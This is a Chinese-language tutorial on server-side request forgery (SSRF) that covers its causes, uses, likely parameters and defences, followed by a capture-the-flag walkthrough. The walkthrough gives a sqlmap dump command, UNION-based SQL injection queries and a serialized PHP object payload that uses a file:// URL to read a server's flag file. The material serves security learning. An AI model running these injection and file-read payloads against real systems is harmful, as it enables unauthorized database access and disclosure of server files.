简介
SSRF是一种由攻击者构造形成服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过他攻击外网无法访问的内部系统,也就是把目标网站当中介人)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。。比如从指定的URL地址获取网页文本内容,加载指定地址的图片,文档,等等。。。
上面的话说得有点抽象,换个说法就是:
首先,我们要对目标网站的架构了解,脑子里要有一个架构图。比如:
A网站,是一个所有人都可以访问的外网网站,B网站时一个他们内部的OA网站。
所以我们普通用户只能访问a网站,不能访问b网站。但是我们可以通过a网站做中间人,访问b网站,从而达到攻击b网站的需求。
正常用户访问网站的流程是:
输入A网站URL—>发送请求—>A服务器接收请求(没有过滤),并处理—>返回用户响应
那么产生SSRF漏洞的环节在哪呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站科院从其他服务器的获取数据
例如:
www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果我们**将 www.abc.com/1.jpg 换成与该服务器相连的内网服务器会产生什么效果呢?**
如果存在该内网网站就会返回1xx 2xx之类的状态码,不存在就会其他的状态码
简介总结:
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法,然后服务器以他的身份来访问其他服务器的资源。
SSRF用途
那么SSRF可以做什么呢?
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网web站点漏洞的利用
……
S**SRF漏洞的寻找(漏洞常见出没位置):**
注:个人觉得所有调用外部资源的参数都有可能存在ssrf漏洞
- 1)分享:通过URL地址分享网页内容
- 2)转码服务
- 3)在线翻译
- 4)图片加载与下载:通过URL地址加载或下载图片
- 5)图片、文章收藏功能
- 6)未公开的api实现以及其他调用URL的功能
- 7)从URL关键字中寻找
1、 share
2、 wap
3、 url
4、 link
5、 src
6、 source
7、 target
8、 u
9、 3g
10、 display
11、 sourceURl
12、 imageURL
13、 domain
…
SSRF漏洞的验证方法:
1.因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送,从而来判断是否存在SSRF漏洞
2.在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
防御SSRF手段
禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file://, gopher://, ftp:// 等引起的问题。
服务端需要认证交互,禁止非正常用户访问服务;
过滤输入信息,永远不要相信用户的输入,判断用户的输入是否是一个合理的URL地址
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法,如果web应用是去获取某一种类型的文件。那么在把返* 回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
禁止30x跳转
设置URL白名单或限制内网IP
CTF实例:
扫描目录**,发现robots.txt,这里说下目录扫描,目前我还没发现哪一个目录扫描工具能够一个就够,所以我用三个扫描工具。经过扫描我发现了robots.txt和flag.php**
访问后把文件/user.php.bak下载下来
进行代码审计
显然存在SSRF漏洞,因为curl函数可以接受post或者get,所有post有过滤,所以我们可以使用get来,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有waf直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。
这里给CURL函数的常见
重点是 curl_setopt()和curl_exec()这两个函数。
这里我们先了解一下curl:
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。
注册后登录
这里我们观察到它的URL
http://13c56367-4270-42eb-aca9-2d63d1079127.node3.buuoj.cn/view.php?no=1
传入参数no=1,改变no值,出现网站物理路径
我们可以想到,我们这个参数会传给后端数据库查询,服务器响应后会将结果返回页面。我们就得像办法让他的查询结果是flag.php的网址。也就是/var/www/html/flag.php
结合源码 SSRF可以帮我们做到。
那我们要怎么利用
view.php存在get注入点
注册界面存在post注入点
利用sqlmap直接注入
sqlmap -r ‘/root/桌面/11.txt’ —dump -tables
发现表中存储的是反序列化:
序列化代码如下
运行得到
O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;i:12;s:4:”blog”;s:14:”wangtanzhi.com”;}
读flag,将wangtanzhi 改成file:///var/www/html/flag.php来进行序列化
到此,我们的反序列化工作完成
然后,我们开始对view页面来进行注入,这里也能得到我们通过sqlmap注入出的data
查询数据库no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
查询表名/view.phpno=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
查字段/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+
结合SSRFpayload:
no=0/**/union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;i:1;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
打开链接**
得到flag
文件读取为什么**在SQL语句里面控制**
因为页面提示了我们反序列化,所以猜测no参数的值代入数据库查询之后还会被反序列化一次,这个**时候就会导致blog变成我们构造的blog**
后面分析view.php源代码也可以看出
所以我们将构造之后的序列化payload放进no参数SQL语句里面,即
要修改成数据库里没有的,那就:
?no=0**//**union**//**select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;i:1;s:3:”age”;i:2;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’